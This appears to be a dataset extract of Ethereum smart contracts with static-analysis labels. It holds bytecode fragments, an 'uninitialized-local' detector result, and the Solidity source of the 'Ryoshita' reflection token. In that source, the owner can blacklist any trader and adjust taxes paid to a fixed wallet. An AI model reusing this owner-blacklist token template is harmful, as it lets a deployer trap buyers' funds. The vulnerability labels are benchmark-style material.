ff0219169055806040518082805190602001908083835b6020831015156128a65780518252602082019150602081019050602083039250612881565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f55e10366a5f552746106978b694d7ef3bbddec06bd5f9b9d15ad46f475c653ef60405160405180910390a4505050565b60006006826040518082805190602001908083835b60208310151561296c5780518252602082019150602081019050602083039250612947565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050612a156001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351490919063ffffffff16565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a6e600160035461351490919063ffffffff16565b6003819055506006826040518082805190602001908083835b602083101515612aac5780518252602082019150602081019050602083039250612a87565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556007826040518082805190602001908083835b602083101515612b3a5780518252602082019150602081019050602083039250612b15565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008082016000612b7e9190613656565b600182016000612b8e9190613656565b600282016000612b9e9190613656565b600382016000612bae9190613656565b600482016000612bbe9190613656565b600582016000612bce9190613656565b600682016000905550506004826040518082805190602001908083835b602083101515612c105780518252602082019150602081019050602083039250612beb565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81549060ff02191690556008826040518082805190602001908083835b602083101515612c8b5780518252602082019150602081019050602083039250612c66565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055816040518082805190602001908083835b602083101515612d175780518252602082019150602081019050602083039250612cf2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f55e10366a5f552746106978b694d7ef3bbddec06bd5f9b9d15ad46f475c653ef60405160405180910390a45050565b60006004826040518082805190602001908083835b602083101515612ddd5780518252602082019150602081019050602083039250612db8565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff161515612e2957600080fd5b6040805190810160405280600881526020017f56657269666965640000000000000000000000000000000000000000000000008152506040516020018082805190602001908083835b602083101515612e975780518252602082019150602081019050602083039250612e72565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515612f005780518252602082019150602081019050602083039250612edb565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166007836040518082805190602001908083835b602083101515612f695780518252602082019150602081019050602083039250612f44565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206001016040516020018082805460018160011615610100020316600290048015612ffd5780601f10612fdb576101008083540402835291820191612ffd565b820191906000526020600020905b815481529060010190602001808311612fe9575b50509150506040516020818303038152906040526040518082805190602001908083835b6020831015156130465780518252602082019150602081019050602083039250613021565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916149050919050565b60006007886040518082805190602001908083835b6020831015156130b95780518252602082019150602081019050602083039250613094565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020905083816000019080519060200190613106929190613556565b5061311287868a6125d5565b8473ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16896040518082805190602001908083835b6020831015156131765780518252602082019150602081019050602083039250613151565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207f50a71308bdc2d83407e8352462d696f7f1da30e94aba9d720391c2d8150d1f838988888842604051808060200180602001868152602001858152602001848152602001838103835288818151815260200191508051906020019080838360005b8381101561321f578082015181840152602081019050613204565b50505050905090810190601f16801561324c5780820380516001836020036101000a031916815260200191505b50838103825287818151815260200191508051906020019080838360005b8381101561328557808201518184015260208101905061326a565b50505050905090810190601f1680156132b25780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a45050505050505050565b6132d661369e565b6040805190810160405280600781526020017f50656e64696e67000000000000000000000000000000000000000000000000008152508160200181905250848160000181905250838160400181905250828160600181905250818160800181905250806007886040518082805190602001908083835b602083101515613371578051825260208201915060208101905060208303925061334c565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008201518160000190805190602001906133c09291906136dc565b5060208201518160010190805190602001906133dd9291906136dc565b5060408201518160020190805190602001906133fa9291906136dc565b5060608201518160030190805190602001906134179291906136dc565b5060808201518160040190805190602001906134349291906136dc565b5060a08201518160050190805190602001906134519291906136dc565b5060c08201518160060155905050613475600160035461353590919063ffffffff16565b60038190555060016004886040518082805190602001908083835b6020831015156134b55780518252602082019150602081019050602083039250613490565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81548160ff02191690831515021790555061350b600087896125d5565b50505050505050565b60008083831115151561352657600080fd5b82840390508091505092915050565b600080828401905083811015151561354c57600080fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061359757805160ff19168380011785556135c5565b828001600101855582156135c5579182015b828111156135c45782518255916020019190600101906135a9565b5b5090506135d2919061375c565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061361757803560ff1916838001178555613645565b82800160010185558215613645579182015b82811115613644578235825591602001919060010190613629565b5b509050613652919061375c565b5090565b50805460018160011615610100020316600290046000825580601f1061367c575061369b565b601f01602090049060005260206000209081019061369a919061375c565b5b50565b60e060405190810160405280606081526020016060815260200160608152602001606081526020016060815260200160608152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061371d57805160ff191683800117855561374b565b8280016001018555821561374b579182015b8281111561374a57825182559160200191906001019061372f565b5b509050613758919061375c565b5090565b61377e91905b8082111561377a576000816000905550600101613762565b5090565b905600a165627a7a723058206b673221bed21eb8cb20121630097d6655cd2e4fdbddd649496131e7ffadc8800029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,365
0xef3a09be011a899a226f72c3fbe60da175dc8170
/* */ pragma solidity ^0.8.8; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RYOSHITA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Ryoshita"; string private constant _symbol = "SHITA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x27F14fbC028F72f5BA907390ac7B55cb2988061B); _feeAddrWallet2 = payable(0x27F14fbC028F72f5BA907390ac7B55cb2988061B); _buyTax = 10; _sellTax = 10; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 50000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 11) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 11) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c80638cd09d50116100a0578063c3c8cd8011610064578063c3c8cd80146103cc578063c9567bf9146103e3578063dc1052e2146103fa578063dd62ed3e14610423578063ec28438a146104605761012a565b80638cd09d50146102e75780638da5cb5b1461031057806395d89b411461033b578063a9059cbb14610366578063b515566a146103a35761012a565b8063313ce567116100e7578063313ce567146102285780635932ead1146102535780636fc3eaec1461027c57806370a0823114610293578063715018a6146102d05761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063273123b7146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b60405161015191906126ec565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127b6565b6104c6565b60405161018e9190612811565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b9919061283b565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612856565b6104f4565b6040516101f69190612811565b60405180910390f35b34801561020b57600080fd5b50610226600480360381019061022191906128a9565b6105cd565b005b34801561023457600080fd5b5061023d6106bd565b60405161024a91906128f2565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612939565b6106c6565b005b34801561028857600080fd5b50610291610778565b005b34801561029f57600080fd5b506102ba60048036038101906102b591906128a9565b61081e565b6040516102c7919061283b565b60405180910390f35b3480156102dc57600080fd5b506102e561086f565b005b3480156102f357600080fd5b5061030e60048036038101906103099190612966565b6109c2565b005b34801561031c57600080fd5b50610325610a6b565b60405161033291906129a2565b60405180910390f35b34801561034757600080fd5b50610350610a94565b60405161035d91906126ec565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906127b6565b610ad1565b60405161039a9190612811565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c59190612b05565b610aef565b005b3480156103d857600080fd5b506103e1610c19565b005b3480156103ef57600080fd5b506103f8610cc7565b005b34801561040657600080fd5b50610421600480360381019061041c9190612966565b611221565b005b34801561042f57600080fd5b5061044a60048036038101906104459190612b4e565b6112ca565b604051610457919061283b565b60405180910390f35b34801561046c57600080fd5b5061048760048036038101906104829190612966565b611351565b005b60606040518060400160405280600881526020017f52796f7368697461000000000000000000000000000000000000000000000000815250905090565b60006104da6104d3611400565b8484611408565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105018484846115d3565b6105c28461050d611400565b6105bd856040518060600160405280602881526020016135b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610573611400565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda9092919063ffffffff16565b611408565b600190509392505050565b6105d5611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065990612bda565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106ce611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075290612bda565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b610780611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490612bda565b60405180910390fd5b600047905061081b81611c3e565b50565b6000610868600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa565b9050919050565b610877611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fb90612bda565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109ca611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4e90612bda565b60405180910390fd5b600b811015610a685780600c819055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5348495441000000000000000000000000000000000000000000000000000000815250905090565b6000610ae5610ade611400565b84846115d3565b6001905092915050565b610af7611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612bda565b60405180910390fd5b60005b8151811015610c1557600160066000848481518110610ba957610ba8612bfa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c0d90612c58565b915050610b87565b5050565b610c21611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590612bda565b60405180910390fd5b6000610cb93061081e565b9050610cc481611d18565b50565b610ccf611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390612bda565b60405180910390fd5b601160149054906101000a900460ff1615610dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da390612ced565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611408565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8157600080fd5b505afa158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190612d22565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1b57600080fd5b505afa158015610f2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f539190612d22565b6040518363ffffffff1660e01b8152600401610f70929190612d4f565b602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc29190612d22565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061104b3061081e565b600080611056610a6b565b426040518863ffffffff1660e01b815260040161107896959493929190612dbd565b6060604051808303818588803b15801561109157600080fd5b505af11580156110a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110ca9190612e33565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555066b1a2bc2ec500006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111cb929190612e86565b602060405180830381600087803b1580156111e557600080fd5b505af11580156111f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121d9190612ec4565b5050565b611229611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad90612bda565b60405180910390fd5b600b8110156112c75780600d819055505b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611359611400565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd90612bda565b60405180910390fd5b66b1a2bc2ec500008111156113fd57806012819055505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146f90612f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90612ff5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c6919061283b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163a90613087565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa90613119565b60405180910390fd5b600081116116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed906131ab565b60405180910390fd5b6000600a81905550600d54600b8190555061170f610a6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610a6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bca57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182f57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118da5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119485750601160179054906101000a900460ff165b156119f85760125481111561195c57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119a757600080fd5b6028426119b491906131cb565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611aa35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611af95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b10576000600a81905550600c54600b819055505b6000611b1b3061081e565b9050601160159054906101000a900460ff16158015611b885750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba05750601160169054906101000a900460ff165b15611bc857611bae81611d18565b60004790506000811115611bc657611bc547611c3e565b5b505b505b611bd5838383611fa0565b505050565b6000838311158290611c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1991906126ec565b60405180910390fd5b5060008385611c319190613221565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca6573d6000803e3d6000fd5b5050565b6000600854821115611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce8906132c7565b60405180910390fd5b6000611cfb611fb0565b9050611d108184611fdb90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d5057611d4f6129c2565b5b604051908082528060200260200182016040528015611d7e5781602